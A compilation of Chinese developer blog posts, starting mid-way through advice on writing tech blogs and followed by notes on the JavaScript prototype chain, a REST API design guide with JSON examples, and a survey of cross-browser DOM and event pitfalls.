	格式，记得好好用好手上的工具，如果你用的是CSDN用的editor，试着一个个探索，CODE应该要有CODE的格式，LIST应该要有LIST的格式



最后，耐心


在CSDN上的博文的话，可以按长尾理论来分析，这里说的通常是指——你的东西是原创的，写博文有些时间。SEO上，以谷歌为例，谷歌对其抓取是比较及时的，同时谷歌会排除掉部分专业的复制网站——就是拉到重复的搜索结果里。文章刚发表的时候的流量有可能会很低 ，但是有些文章时间一长就显示出来了，比如我写的东西中的《Android上使用GCC》算是一个很好的示例。一开始的时候我们写的东西访问量不会很大，特别是我们刚起步的时候，这时候就要一步步慢慢来。只要你写的东西是别人需要的话，那么就会一步步慢慢来。如果你写的刚好是热门的话题、技术的话，那就是好莱坞大篇《速度与激情1》《指环王2》《黑客帝国3》《纳尼亚传奇4》。。。直到《哈利波特7上》，《哈利波特7下》。于是作为迪斯尼的你，又推出了下一部分电影……


总结


现在的我们更多的技术是直接来源于Google、百度、CSDN或者其他，搜索得来的，我们并不去考虑别人在其中花费的时间和经历，有时候我们要试着去想我们是不是也应该分享给别人。这算是自己开始写博客的原因，受益于开源社区，我们自然而然的也要回顾给这个社区，只有分享才会使未来更美好。


我们都希望看到有一篇博文够清楚的对我们当前所遇到的那个问题进行好好的解析，问题是也许你解决过的那个问题正是别人所需要的，但是你并没有将它分享出来，仿佛是一个循环一样


for(;;){

}



于是我们又回到了一个起点，人都是自私的。我们都希望自己能更快的学习好一项技术，一门语言，别人也需要你手上的那项技术，那个语言。都你开始意识到别人需要你手上的东西的时候，你算懂得换位思考了。


写篇分享，写篇心得就是一个好的开始，或许我们已经被高中的语文所吓怕了。但是，是时候从新开始。如果你被C的指针吓坏了，被C++的模板吓到了，被Javascript的简陋吓到了，而你又需要拾起它，我想是时候重新开始了。


 [学习笔记] 小角度看JS原型链

作者：飞翔的笨鸟

来源： [学习笔记] 小角度看JS原型链



                    
前言

在 segmentfault 上看到这样一道题目：

var F = function(){};
Object.prototype.a = function(){};
Function.prototype.b = function(){};
var f = new F();

问：f 能取到a,b吗？原理是什么？

乍一看真的有点懵，仔细研究了一下，发现还是对原型理解不透彻，所以总结一篇，填个洞~



Function和Object

在解题之前，先再说说 原型、原型链，以及 Function 和 Object 的关系，这也是本文的重点。

原型


	在创建一个函数的时候，会自动为其创建一个原型对象，可以通过函数的prototype属性访问到。


	创建一个构造函数的实例对象，该实例对象内部将包含一个指针（内部属性），指向构造函数的原型对象。ECMA-262 第5版中管这个指针叫[[prototype]]。虽然在脚本中没有标准的方式访问[[prototype]]，但Firefox、 Safari、 Chrome在每个对象上都支持一个属性 __proto__，用于访问其构造函数的原型对象。


	
重要的事情再说一遍：
构造函数通过 prototype 属性访问原型对象。
实例对象通过 [[prototype]] 内部属性访问原型对象，浏览器实现了 _proto_ 属性用于实例对象访问原型对象。

var F = function () {};
var f = new F();
// 假设F的原型对象是 p, 则
// F.prototype === p;
// f.__proto__ === p;






再重复一遍。。prototype说的是构造函数和原型对象之间的关系，__proto__说的是实例对象和原型对象之间的关系。

原型链

类 A继承B，B继承C……其实就是A的原型对象中有指针指向B的原型对象，而B的原型对象中有指针指向C的原型对象……注意是原型对象之间的联系，A B C 这三个构造函数之间并没什么关系，所以才称为“原型链”吧~

假设a是A的实例对象，则 a 的原型链为下图中紫色线条所示，橙色线条连接了构造函数和其原型对象。



由图可以看出，原型链的末端是Object.prototype.__proto__即null。当查找a的某个属性或方法时，首先查找a自身有没有，没有则沿着原型链一直查找，直到找到或者最后到null返回undefined。

Function 和 Object

Function 和 Object 之间的关系有点绕：
Object 是构造函数，既然是函数，那么就是Function的实例对象；Function是构造函数，但Function.prototype是对象，既然是对象，那么就是Object的实例对象。

一切对象都是Object的实例，一切函数都是Function的实例。
Object是Function的实例，而Function.prototype是Object的实例。

二者的关系如下图所示。



可见，Object作为构造函数，它有 prototype 属性指向 Object.prototype , 作为实例对象， 它有 Object.__proto__ 指向Function.prototype。Function是构造函数，它有prototype属性指向Function.prototype，而Function是函数，从而也是Function的实例，所以它有Function.__proto__指向Function.prototype，从而 Function.__proto__ === Function.prototype 为 true。

可在Chrome控制台下进行验证，如图。


原题解析

解决原型链问题最好的办法就是画图了，经过前面的分析，这个图画起来应该不成问题，如下~



f 的原型链为蓝色线所画，所以 f 可以访问到 a , 不能访问到 b 。

如果不画图，乍一看，可能会觉得f 可以访问到 b，那是可能跟我一样误认为F.prototype指向Function.prototype，但其实F.prototype是对象而不是函数，所以它的原型对象不会是 Function.prototype。

所以，原型链问题一应要画图啊~

原题扩展

在上题中，f 只能访问 a，不能访问 b 。但 F 既可以访问 a ，又可以访问 b。
如果把题修改成下面的样子， F.b()的结果是什么呢？为什么呢？可以想一下哦~

var F = function(){};
Object.prototype.a = function(){};
Function.prototype.b = function(){ console.log('F.__proto__') };
F.prototype.b = function (){console.log('F.prototype');};

总结


	读到这里，有没有发现函数一个比较特殊的地方？
一般的对象，只有一个__proto__属性用于访问其构造函数的原型对象，而对于函数来说，它既是函数又是对象。
作为函数，它生来就有prototype属性指向其原型对象函数名.prototype。
作为Function的实例对象，它有__proto__属性指向Function.prototype
通常，这两个属性是指向两个对象的，但Function的这两个属性指向相同，都指向Function.prototype。


	对于函数 A( ) 来说，A.prototype 中的方法是供其实例对象调用的，自己并不会用；当A 作为实例运行时，调用的是 A.__proto__ 中的方法。也就是说，作为构造函数使用时，走的是A.prototype这条链，方法、属性赋给其实例；作为对象使用时，走的是A.__proto__这条链。在不同的场景下，分清它的身份就不会错了。






整篇下来，感觉自己说的也比较絮叨……不足之处，还请各位指正~ 至于题目，真的不知道该叫什么好。。

愿本文能带给坚持看完的你一些收获~  ^_^

参考

js 原型的问题 Object 和 Function 到底是什么关系？—— 高票答案


 前后端完全分离之 API 设计

作者：arccode

来源： 前后端完全分离之 API 设计



                    
背景

API 就是开发者使用的界面。我的目标不仅是能用，而且好用，跨平台（PC, Android, IOS, etc...）使用。本文将详细介绍 API 的设计及异常处理，并将异常信息进行封装友好地反馈给前端.

上篇文章 前后端完全分离初探 只是讲了些宽泛的概念，接下来的文章将直接上干货，干货的源码会挂在 GitHub 上。

前后端完全分离后，前端和后端如何交互？答：通过双方协商好的API。

接下来我分享我自己设计的 API 接口，欢迎各位朋友指教。

API 设计理念


	将涉及的实体抽象成资源，即按 id 访问资源，在 url 上做文章，以后再也不用为 url 起名字而苦恼了；


	
使用 HTTP 动词对资源进行 CRUD（增删改查）：

get -> 查, post -> 增, put -> 改, delete -> 删



	
URL 命名规则，对于资源无法使用一个单数名词表示的情况，我使用中横线 - 连接


	资源采用名词命名，e.g：产品 -> product


	新增资源，e.g：新增产品 url -> /product, verb -> POST


	修改资源，e.g：修改产品 url -> /products/{id}, verb -> PUT


	资源详情，e.g：指定产品详情 url -> /products/{id}, verb -> GET


	删除资源，e.g：删除产品 url -> /products/{id}, verb -> DELETE


	资源列表，e.g：产品列表 url -> /products, verb -> GET


	资源关联关系，e.g：收藏产品 url -> /products/{id}/star, verb -> PUT


	资源关联关系，e.g：删除收藏产品 url -> /products/{id}/star, verb -> DELETE








目前我 API 的设计只涉及这两点，至于第三点 HATEOAS(Hypermedia As The Engine Of Application State) 那就由读者自己去选择了，

<!--more-->

项目地址

本文中只涉及了设计的理念，具体的实现请下载源码 rest-api，项目内写了比较详细的注释。

项目实战

实战将从业务场景出发，详细介绍如何使用 HTTP verb 对资源进行操作（状态转移），使用 JSON 返回结果（资源表述），并定义 JSON 的基础结构。

JSON 结构

requestParams：

{
}

responseBody：

{
  "meta": {
  },
  "data": {
  }
}

meta 中封装操作成功或失败的消息，data 中封装返回的具体数据。

当新建商品或更新产品时，相关属性封装在 JSON 中，通过 POST 或 PUT 发送。

{
  "name": "Apple Watch SPORT",
  "description": "Sport 系列的表壳材料为轻巧的银色及深空灰色阳极氧化铝金属，强化 Ion-X 玻璃材质为显示屏提供保护。搭配高性能 Fluoroelastomer 表带，共有 5 款缤纷色彩。"
}

当用户对商品进行操作后，将得到响应结果。GET, POST, PUT 操作成功，返回如下结果

{
  "meta": {
    "code": 201,
    "message": "创建成功"
  },
  "data": {
    "id": "5308e9c2-a4ce-4dca-9373-cc1ffe63d5f9",
    "name": "Apple Watch SPORT",
    "description": "Sport 系列的表壳材料为轻巧的银色及深空灰色阳极氧化铝金属，强化 Ion-X 玻璃材质为显示屏提供保护。搭配高性能 Fluoroelastomer 表带，共有 5 款缤纷色彩。"
  }
}

DELETE 操作成功，返回如下结果

{
  "meta": {
    "code": 204,
    "message": "删除成功"
  }
}

业务场景一

电商网站的管理员对商品进行新增、编辑、删除、浏览的操作，暂时不考虑认证授权，只关注对商品的操作。

为了以后便于做分布式，所有资源 id（表主键）均采用 uuid。

新增商品


	url: /api/product


	method: POST


	
requestParams:

{
  "name": "Apple Watch SPORT",
  "description": "Sport 系列的表壳材料为轻巧的银色及深空灰色阳极氧化铝金属，强化 Ion-X 玻璃材质为显示屏提供保护。搭配高性能 Fluoroelastomer 表带，共有 5 款缤纷色彩。"
}



	
responseBody

{
  "meta": {
    "code": 201,
    "message": "创建成功"
  },
  "data": {
    "id": "5308e9c2-a4ce-4dca-9373-cc1ffe63d5f9",
    "name": "Apple Watch SPORT",
    "description": "Sport 系列的表壳材料为轻巧的银色及深空灰色阳极氧化铝金属，强化 Ion-X 玻璃材质为显示屏提供保护。搭配高性能 Fluoroelastomer 表带，共有 5 款缤纷色彩。"
  }
}





编辑商品


	url: /api/products/{id}


	method: PUT


	
requestParams:

{
  "name": "iPhone 6",
  "description": "此次苹果发布会发布了iPhone 6与iPhone 6 Plus，搭载iOS 8，尺寸分别是4.7和5.5英寸。外观设计不再棱角分明，表层玻璃边有一个弧度向下延伸，与阳极氧化铝金属机身边框衔接。机身背部采用三段式设计。机身更薄，续航能力更强。"
}



	
responseBody

{
  "meta": {
    "code": 200,
    "message": "修改成功"
  },
  "data": {
    "id": "5308e9c2-a4ce-4dca-9373-cc1ffe63d5f9",
    "name": "iPhone 6",
    "description": "此次苹果发布会发布了iPhone 6与iPhone 6 Plus，搭载iOS 8，尺寸分别是4.7和5.5英寸。外观设计不再棱角分明，表层玻璃边有一个弧度向下延伸，与阳极氧化铝金属机身边框衔接。机身背部采用三段式设计。机身更薄，续航能力更强。"
  }
}





删除商品


	url: /api/products/{id}


	method: DELETE


	
responseBody

{
  "meta": {
    "code": 204,
    "message": "删除成功"
  },
  "data": {}
}





获取商品详情


	url: /api/products/{id}


	method: GET


	
responseBody:

//删除前

{
  "meta": {
    "code": 200,
    "message": "查询成功"
  },
  "data": {
    "id": "5308e9c2-a4ce-4dca-9373-cc1ffe63d5f9",
    "name": "Apple Watch SPORT",
    "description": "Sport 系列的表壳材料为轻巧的银色及深空灰色阳极氧化铝金属，强化 Ion-X 玻璃材质为显示屏提供保护。搭配高性能 Fluoroelastomer 表带，共有 5 款缤纷色彩。"
  }
}


//删除后
{
  "meta": {
    "code": 404,
    "message": "指定产品不存在"
  }
}





获取商品列表(未分页)


	url: /api/products


	method: GET


	
responseBody

{
  "meta": {
    "code": 200,
    "message": "获取全部商品成功"
  },
  "data": [
    {
      "id": "5308e9c2-a4ce-4dca-9373-cc1ffe63d5f9",
      "name": "Apple Watch SPORT",
      "description": "Sport 系列的表壳材料为轻巧的银色及深空灰色阳极氧化铝金属，强化 Ion-X 玻璃材质为显示屏提供保护。搭配高性能 Fluoroelastomer 表带，共有 5 款缤纷色彩。"
    },
    {
      "id": "9db1992a-c342-4ff0-a2a4-aeb3dbfd93f6",
      "name": "Apple Watch SPORT",
      "description": "Sport 系列的表壳材料为轻巧的银色及深空灰色阳极氧化铝金属，强化 Ion-X 玻璃材质为显示屏提供保护。搭配高性能 Fluoroelastomer 表带，共有 5 款缤纷色彩。"
    },
    {
      "id": "4481619b-45c5-4729-9539-f93bb01f10d8",
      "name": "Apple Watch SPORT",
      "description": "Sport 系列的表壳材料为轻巧的银色及深空灰色阳极氧化铝金属，强化 Ion-X 玻璃材质为显示屏提供保护。搭配高性能 Fluoroelastomer 表带，共有 5 款缤纷色彩。"
    }
  ]
}





业务场景二

业务场景一中只涉及了单个资源的操作，但实际场景中还有些关联操作；如用户去电商网站浏览商品，并收藏了一些商品，之后又取消收藏了部分商品。

暂时不考虑用户认证授权，以后加了token后，用户信息可以从中获取。

收藏商品


	url: /api/products/{id}/star


	method: PUT


	
responseBody

{
  "meta": {
    "code": 200,
    "message": "收藏商品[5308e9c2-a4ce-4dca-9373-cc1ffe63d5f9]成功"
  },
  "data": [
    {
      "id": "5308e9c2-a4ce-4dca-9373-cc1ffe63d5f9",
      "name": "iPhone 6",
      "description": "此次苹果发布会发布了iPhone 6与iPhone 6 Plus，搭载iOS 8，尺寸分别是4.7和5.5英寸。外观设计不再棱角分明，表层玻璃边有一个弧度向下延伸，与阳极氧化铝金属机身边框衔接。机身背部采用三段式设计。机身更薄，续航能力更强。"
    }
  ]
}





取消收藏商品


	url: /api/products/{id}/star


	method: DELETE


	
responseBody

{
  "meta": {
    "code": 200,
    "message": "删除收藏商品[5308e9c2-a4ce-4dca-9373-cc1ffe63d5f9]成功"
  },
  "data": []
}





自定义异常和异常处理

所有自定义异常继承 RuntimeException，在业务层抛出，统一在 Controller 层进行处理。

异常分为全局异常和局部异常，例如 http method unsupported (405)，unauthorized (401)，accessDenied (403)，not found (404) 等属于全局异常。针对对独立业务的一些异常属于局部异常，例如产品编辑出错。 

异常在 Controller 中进行处理，并封装成 json 返回给前端，封装后的数据如下，相关实现见源码

{
  "meta": {
    "code": 404,
    "message": "指定产品不存在"
  }
}

{
  "meta": {
    "code": 405,
    "message": "Request method 'POST' not supported"
  }
}

项目运行截图部分







本系列文章


	前后端完全分离初探


	前后端完全分离之API设计


	前后端完全分离之安全认证与授权-上


	前后端完全分离之安全认证与授权-下


	前后端完全分离之前端模块化开发


	前后端完全分离之前端路由系统


	前后端完全分离之后端面向服务的模块化开发




原文出自 前后端完全分离之API设计，欢迎转载，转载请注明出处。




 JavaScript操作DOM的那些坑

作者：trigkit4

来源： JavaScript操作DOM的那些坑



                    
js在操作DOM中存在着许多跨浏览器方面的坑，本文花了我将近一周的时间整理，我将根据实例整理那些大大小小的“坑”。

DOM的工作模式是：先加载文档的静态内容、再以动态方式对它们进行刷新，动态刷新不影响文档的静态内容。

PS：IE 中的所有 DOM 对象都是以 COM 对象的形式实现的，这意味着 IE 中的 DOM可能会和其他浏览器有一定的差异。

Node 接口



	特性/方法
	类型/返回类型
	说    明





	nodeName
	String
	节点的名字；根据节点的类型而定义



	nodeValue
	String
	节点的值；根据节点的类型而定义



	nodeType
	Number
	节点的类型常量值之一



	ownerDocument
	Document
	返回某元素的根元素



	firstChild
	Node
	指向在childNodes列表中的第一个节点



	lastChild
	Node
	指向在childNodes列表中的最后一个节点



	childNodes
	NodeList
	所有子节点的列表



	previousSibling
	Node
	返回选定节点的上一个同级节点，若不存在，则返回null



	nextSibling
	Node
	返回被选节点的下一个同级节点，若不存在，则返回null



	hasChildNodes()
	Boolean
	如果当前元素节点拥有子节点，返回true，否则返回false



	attributes
	NamedNodeMap
	返回包含被选节点属性的 NamedNodeMap



	appendChild(node)
	node
	将node添加到childNodes的末尾



	removeChild(node)
	node
	从childNodes中删除node



	replaceChild(newnode, oldnode)
	Node
	将childNodes中的oldnode替换成newnode



	insertBefore
	Node
	在已有子节点之前插入新的子节点





firstChild 相当于 childNodes[0]；lastChild 相当于childNodes[box.childNodes.length - 1]。

nodeType返回结点的类型

--元素结点返回1
--属性结点返回2
--文本结点返回3 

innerHTML 和 nodeValue

对于文本节点，nodeValue 属性包含文本。

对于属性节点，nodeValue 属性包含属性值。

nodeValue 属性对于文档节点和元素节点是不可用的。


两者区别

box.childNodes[0].nodeValue = '<strong>abc</strong>';//结果为：<strong>abc</strong>
abcbox.innerHTML = '<strong>abc</strong>';//结果为：abc


nodeName属性获得结点名称

--对于元素结点返回的是标记名称,如：<a herf><a>返回的是"a"
--对于属性结点返回的是属性名称,如：class="test" 返回的是test
--对于文本结点返回的是文本的内容 

tagName

document.getElementByTagName(tagName)：返回一个数组，包含对这些结点的引用     

getElementsByTagName()方法将返回一个对象数组 HTMLCollection(NodeList)，这个数组保存着所有相同元素名的节点列表。

document.getElementsByTagName('*');//获取所有元素


PS：IE 浏览器在使用通配符的时候，会把文档最开始的 html 的规范声明当作第一个元素节点。

document.getElementsByTagName('li');//获取所有 li 元素，返回数组
document.getElementsByTagName('li')[0];//获取第一个 li 元素，HTMLLIElement
document.getElementsByTagName('li').item(0);//获取第一个 li 元素，HTMLLIElement
document.getElementsByTagName('li').length;//获取所有 li 元素的数目


节点的绝对引用：

返回文档的根节点：document.documentElement
返回当前文档中被击活的标签节点：document.activeElement
返回鼠标移出的源节点：event.fromElement
返回鼠标移入的源节点：event.toElement
返回激活事件的源节点：event.srcElement


节点的相对引用：(设当前对节点为node)

返回父节点：node.parentNode || node.parentElement（IE）
返回子节点集合（包含文本节点及标签节点）：node.childNodes
返回子标签节点集合：node.children
返回子文本节点集合：node.textNodes
返回第一个子节点：node.firstChild
返回最后一个子节点：node.lastChild
返回同属下一个节点：node.nextSibling
返回同属上一个节点：node.previousSibling 


节点信息

是否包含某节点：node.contains()

是否有子节点node.hasChildNodes() 


创建新节点

createDocumentFragment()－－创建文档碎片节点
createElement(tagname)－－创建标签名为tagname的元素
createTextNode(text)－－创建包含文本text的文本节点


获取鼠标点击事件的位置

document.onclick = mouseClick;

function mouseClick(ev){
    ev = ev || window.event;//window.event用来兼容IE
    var x = 0; var y = 0;

    if(ev.pageX){
        x = ev.pageX;
        y = ev.pageY;
    }else if(ev.clientX){
        var offsetX = 0 , offsetY = 0;
        if(document.documentElement.scrollLeft){
            offsetX = document.documentElement.scrollLeft;
            offsetY = document.documentElement.scrollTop;
        }else if(document.body){
            offsetX = document.body.scrollLeft;
            offsetY = document.body.scrollTop;
        }
        x = ev.clientX + offsetX;
        y = ev.clientY + offsetY;
    }
    alert("你点击的位置是 x="+ x + " y=" + y);
}


以下所描述的属性在chrome和Safari 都很给力的支持了。

问题一：Firefox，Chrome、Safari和IE9都是通过非标准事件的pageX和pageY属性来获取web页面的鼠标位置的。pageX/Y获取到的是触发点相对文档区域左上角距离，以页面为参考点，不随滑动条移动而变化

问题二：在IE 中，event 对象有 x, y 属性（事件发生的位置的 x 坐标和 y 坐标）火狐中没有。在火狐中，与event.x 等效的是 event.pageX。event.clientX 与 event.pageX 有微妙的差别（当整个页面有滚动条的时候），不过大多数时候是等效的。 

offsetX:IE特有，chrome也支持。鼠标相比较于触发事件的元素的位置,以元素盒子模型的内容区域的左上角为参考点,如果有boder,可能出现负值

问题三：
scrollTop为滚动条向下移动的距离，所有浏览器都支持document.documentElement。

其余参照：http://segmentfault.com/a/1190000002559158#articleHeader11

参照表

（+为支持，-为不支持）：

offsetX/offsetY：W3C- IE+ Firefox- Opera+ Safari+ chrome+

x/y：W3C- IE+ Firefox- Opera+ Safari+ chrome+

layerX/layerY：W3C- IE- Firefox+ Opera- Safari+ chrome+

pageX/pageY：W3C- IE- Firefox+ Opera+ Safari+ chrome+

clientX/clientY：W3C+ IE+ Firefox+ Opera+ Safari+ chrome+

screenX/screenY：W3C+ IE+ Firefox+ Opera+ Safari+ chrome+


查看下方DEMO：
你会发现offsetX在Firefox下是undefined，在chrome和IE则会正常显示。

https://jsfiddle.net/f4am208m/embedded/result/



offsetLeft和style.left区别

1.style.left返回的是字符串，比如10px。而offsetLeft返回的是数值，比如数值10

2.style.left是可读写的，offsetLeft是只读的

3.style.left的值需要事先定义(在样式表中定义无效，只能取到在html中定义的值)，否则取到的值是空的


getComputedStyle与currentStyle

getComputedStyle()接受两个参数：要取得计算样式的元素和一个伪元素，如果不需要伪元素，则可以是null。然而，在IE中，并不支持getComputedStyle，IE提供了currentStyle属性。

getComputedStyle(obj , false ) 是支持 w3c (FF12、chrome 14、safari)：在FF新版本中只需要第一个参数，即操作对象，第二个参数写“false”也是大家通用的写法，目的是为了兼容老版本的火狐浏览器。
缺点:在标准浏览器中正常，但在IE6/7/8中不支持

 window.onload=function(){
    var oBtn=document.getElementById('btn');
    var oDiv=document.getElementById('div1');

    oBtn.onclick=function(){
        //alert(oDiv.style.width); //写在样式表里无法读取，只能得到写在行内的
        //alert(getComputedStyle(oDiv).width); //适用于标准浏览器       IE6、7、8不识别
        //alert(oDiv.currentStyle.width); //适用于IE浏览器，标准浏览器不识别
        if(oDiv.currentStyle){
            alert(oDiv.currentStyle.width);
        }else{
            alert(getComputedStyle(oDiv).width);
        }

    };
};


取消表单提交

<script type="text/javascript">
    function listenEvent(eventObj,event,eventHandler){
        if(eventObj.addEventListener){
            eventObj.addEventListener(event,eventHandler,false);
        }else if(eventObj.attachEvent){
            event = "on" + event;
            eventObj.attachEvent(event,eventHandler);
        }else{
            eventObj["on" + event] = eventHandler;
        }
    }

    function cancelEvent(event){
        if(event.preventDefault){
            event.preventDefault();//w3c
        }else{
            event.returnValue = true;//IE
        }
    }

    window.onload = function () {
        var form = document.forms["picker"];
        listenEvent(form,"submit",validateFields);
    };

    function validateFields(evt){
        evt = evt ? evt : window.event;
        ...
        if(invalid){
            cancelEvent(evt);
        }
    }
</script>


确定浏览器窗口的尺寸

对于主流浏览器来说，比如IE9、Firefox，Chrome和Safari，支持名为innerWidth 和 innerHeight的窗口对象属性，它返回窗口的视口区域，减去任何滚动条的大小。IE不支持innerWidth 和 innerHeight

<script type="text/javascript">
    function size(){
        var w = 0, h=0;

        if(!window.innerWidth){
            w = (document.documentElement.clientWidth ? document.documentElement.clientWidth : document.body.clientWidth);

            h = (document.documentElement.clientHeight ? document.documentElement.clientHeight : document.body.clientHeight);
        }else{
            w = window.innerWidth;
            h = window.innerHeight;
        }
        return {width:w,height:h};
    }

    console.log(size());//Object { width: 1366, height: 633 }
</script>


实用的 JavaScript 方案（涵盖所有浏览器）：

var w=window.innerWidth || document.documentElement.clientWidth || document.body.clientWidth;

var h=window.innerHeight || document.documentElement.clientHeight|| document.body.clientHeight;



对于 IE 6、7、8的方案如下：

document.documentElement.clientHeight
document.documentElement.clientWidth

或者

document.body.clientHeight
document.body.clientWidth

Document对象的body属性对应HTML文档的<body>标签。Document对象的documentElement属性则表示 HTML文档的根节点。

attributes 属性

attributes 属性返回该节点的属性节点集合。

document.getElementById('box').attributes//NamedNodeMap
document.getElementById('box').attributes.length;//返回属性节点个数
document.getElementById('box').attributes[0]; //Attr，返回最后一个属性节点
document.getElementById('box').attributes[0].nodeType; //2，节点类型
document.getElementById('box').attributes[0].nodeValue; //属性值
document.getElementById('box').attributes['id']; //Attr，返回属性为 id 的节点
document.getElementById('box').attributes.getNamedItem('id'); //Attr


setAttribute 和 getAttribute

在IE中是不认识class属性的，需改为className属性，同样，在Firefox中，也是不认识className属性的，Firefox只认识class属性，所以通常做法如下：

element.setAttribute(class, value);  //for firefox
element.setAttribute(className, value);  //for IE


IE：可以使用获取常规属性的方法来获取自定义属性,也可以使用getAttribute()获取自定义属性
Firefox：只能使用getAttribute()获取自定义属性.

解决方法：统一通过getAttribute()获取自定义属性

document.getElementById('box').getAttribute('id');//获取元素的 id 值
document.getElementById('box').id;//获取元素的 id 值
document.getElementById('box').getAttribute('mydiv');//获取元素的自定义属性值
document.getElementById('box').mydiv//获取元素的自定义属性值， IE 不支持非
document.getElementById('box').getAttribute('class');//获取元素的 class 值，IE 不支持
document.getElementById('box').getAttribute('className');//非 IE 不支持


PS：在 IE7 及更低版本的IE浏览器中，使用 setAttribute()方法设置 class 和 style 属性是没有效果的，虽然 IE8 解决了这个 bug，但还是不建议使用。

removeAttribute()方法

removeAttribute()可以移除 HTML 属性。
document.getElementById('box').removeAttribute('style');//移除属性


PS：IE6 及更低版本不支持 removeAttribute()方法。

跨浏览器事件Event对象

<!doctype html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <title>Document</title>
    <style type="text/css">
       #drop{
           width: 300px;
           height: 200px;
           background-color: #ff0000;
           padding: 5px;
           border: 2px solid #000000;
       }
       #item{
           width: 100px;
           height: 100px;
           background-color: #ffff00;
           padding: 5px;
           margin: 20px;
           border: 1px dashed black;
       }
       *[draggable = true]{
           -moz-user-select: none;
           -webkit-user-select: none;
           cursor: move;
       }
    </style>
</head>
<body>
<div>
    <p>将金黄色的小方块拖到红色的大方块中，不兼容IE7及以下浏览器，兼容主流浏览器！</p>
</div>
<div id="item" draggable="true"></div>
<div id="drop"></div>
<script type="text/javascript">
    function listenEvent(target,type,handler){
        if(target.addEventListener){//w3c
            target.addEventListener(type,handler,false);
        }else if(target.attachEvent){//IE
            type = "on" + type;
            target.attachEvent(type,handler);//IE
        }else{
            target["on" + type] = handler;
        }
    }

    //取消事件
    function cancelEvent(e){
        if(e.preventDefault){
            e.preventDefault();//w3c
        }else{
            e.returnValue = false;//IE
        }
    }
    //取消传递
    function cancelPropagation(e){
        if(e.stopPropagation){
            e.stopPropagation();//w3c
        }else{
            e.cancelBubble = true;//IE
        }
    }

    window.onload = function () {
        var target = document.getElementById('drop');
        listenEvent(target,'dragenter',cancelEvent);
        listenEvent(target,"dragover",dragOver);
        listenEvent(target,'drop', function (evt) {
            cancelPropagation(evt);
            evt = evt || window.event;
            evt.dataTransfer.dropEffect = 'copy';
            var id = evt.dataTransfer.getData('Text');
            target.appendChild(document.getElementById(id));
        });

        var item = document.getElementById('item');
        item.setAttribute("draggable",'true');
        listenEvent(item,'dragstart', function (evt) {
            evt = evt || window.event;
            evt.dataTransfer.effectAllowed = 'copy';
            evt.dataTransfer.setData('Text',item.id);
        });
    };

    function dragOver(evt){
        if(evt.preventDefault) evt.preventDefault();
        evt = evt || window.event;
        evt.dataTransfer.dropEffect = 'copy';
        return false;
    }
</script>
</body>
</html>


dataTransfer 对象

| 属性        | 描述         |  
| ------------- |:-------------:|  
| dropEffect      | 设置或获取拖曳操作的类型和要显示的光标类型 |  
| effectAllowed      | 设置或获取数据传送操作可应用于该对象的源元素      |  

| 方法        | 描述         |  
| ------------- |:-------------:|  
| clearData | 通过 dataTransfer 或 clipboardData 对象从剪贴板删除一种或多种数据格式    |    
| getData | 通过 dataTransfer 或 clipboardData 对象从剪贴板获取指定格式的数据
| setData | 以指定格式给 dataTransfer 或 clipboardData 对象赋予数据

HTML5拖拽的浏览器支持

Internet Explorer 9、Firefox、Opera 12、Chrome 以及 Safari 5 支持拖放    

为了使元素可拖动，需把 draggable 属性设置为 true ：

<img draggable="true" />


| 事件       | 描述         |  
| ------------- |:-------------:|  
| dragstart      | 拖拽事件开始 |  
| drag      | 在拖动操作上      |   
| dragenter | 拖动到目标上，用来决定目标是否接受放置
|dragover | 拖动到目标上，用来决定给用户的反馈
|drop | 放置发生
| dragleave| 拖动离开目标   
|dragend | 拖动操作结束

上述代码的一些浏览器兼容性：

1.为了兼容IE，我们将`window.event`赋给 `evt`，其他浏览器则会正确将接收到的`event`对象赋给`evt`。
2.w3c使用addEventListener来为事件元素添加事件监听器，而IE则使用attachEvent。addEventListener为事件冒泡到的当前对象，而attachEvent是window
3.对于事件类型，IE需要加`on + type`属性，而其他浏览器则不用
4.对于阻止元素的默认事件行为，下面是w3c和IE的做法：

    e.preventDefault();//w3c   
    e.returnValue = false;//IE
    
5.对于取消事件传播，w3c和IE也有不同的处理机制：
    e.stopPropagation();//w3c
    e.cancelBubble = true;//IE


跨浏览器获取目标对象

//跨浏览器获取目标对象
function getTarget(ev){
    if(ev.target){//w3c
        return ev.target;
    }else if(window.event.srcElement){//IE
        return window.event.srcElement;
    }
}  


对于获取触发事件的对象，w3c和IE也有不同的做法：

event.target;//w3c
event.srcElement;//IE       

我们可以使用三目运算符来兼容他们：

obj = event.srcElement ? event.srcElement : event.target;


innerText的问题

innerText在IE中能正常工作，但是innerText在FireFox中却不行。

<p id="element"></p>
<script type="text/javascript">
    if(navigator.appName.indexOf("Explorer") >-1){
        document.getElementById('element').innerText = "my text";
    } else{
        document.getElementById('element').textContent = "my text";
    }
</script>

跨浏览器获取和设置innerText

//跨浏览器获取innerText
function getInnerText(element){
    return (typeof element.textContent == 'string') ? element.textContent : element.innerText;
}
 
//跨浏览器设置innerText
function setInnerText(element,text){
    if(typeof element.textContent == 'string'){
        element.textContent = text;
    }else{
        element.innerText = text;
    }
}    


oninput,onpropertychange,onchange的用法

onchange触发事件必须满足两个条件：

a）当前对象属性改变，并且是由键盘或鼠标事件激发的（脚本触发无效）

b）当前对象失去焦点(onblur)；


onpropertychange的话，只要当前对象属性发生改变，都会触发事件，但是它是IE专属的；

oninput是onpropertychange的非IE浏览器版本，支持firefox和opera等浏览器，但有一点不同，它绑定于对象时，并非该对象所有属性改变都能触发事件，它只在对象value值发生改变时奏效。


访问XMLHTTPRequest对象

<script type="text/javascript">
    if(window.XMLHttpRequest){
        xhr = new XMLHttpRequest();//非IE
    }else if(window.ActiveXObject){
        xhr = new ActiveXObject("Microsoft.XMLHttp");//IE
    }
</script>


禁止选取网页内容

问题：  
FF需要用CSS禁止，IE用JS禁止  

解决方法：  
IE: obj.onselectstart = function() {return false;}  
FF: -moz-user-select:none;   


三大不冒泡事件

所有浏览器的focus/blur事件都不冒泡，万幸的是大部分浏览器支持focusin/focusout事件，不过可恶的firefox连这个都不支持。

IE6、7、8下 submit事件不冒泡。
IE6、7、8下 change事件要等到blur时才触发。



万恶的滚轮事件

滚轮事件的支持可谓是乱七八糟，规律如下：

IE6-11 chrome mousewheel wheelDetla 下 -120 上 120

firefox DOMMouseScroll detail 下3 上-3

firefox wheel detlaY 下3 上-3

IE9-11 wheel deltaY 下40 上-40

chrome wheel deltaY 下100 上-100  


关于鼠标滚轮事件，IE支持mousewheel，火狐支持DOMMouseScroll。
判断鼠标滚轮是向上还是向下，IE是通过wheelDelta属性，而火狐是通过detail属性

事件委托方法

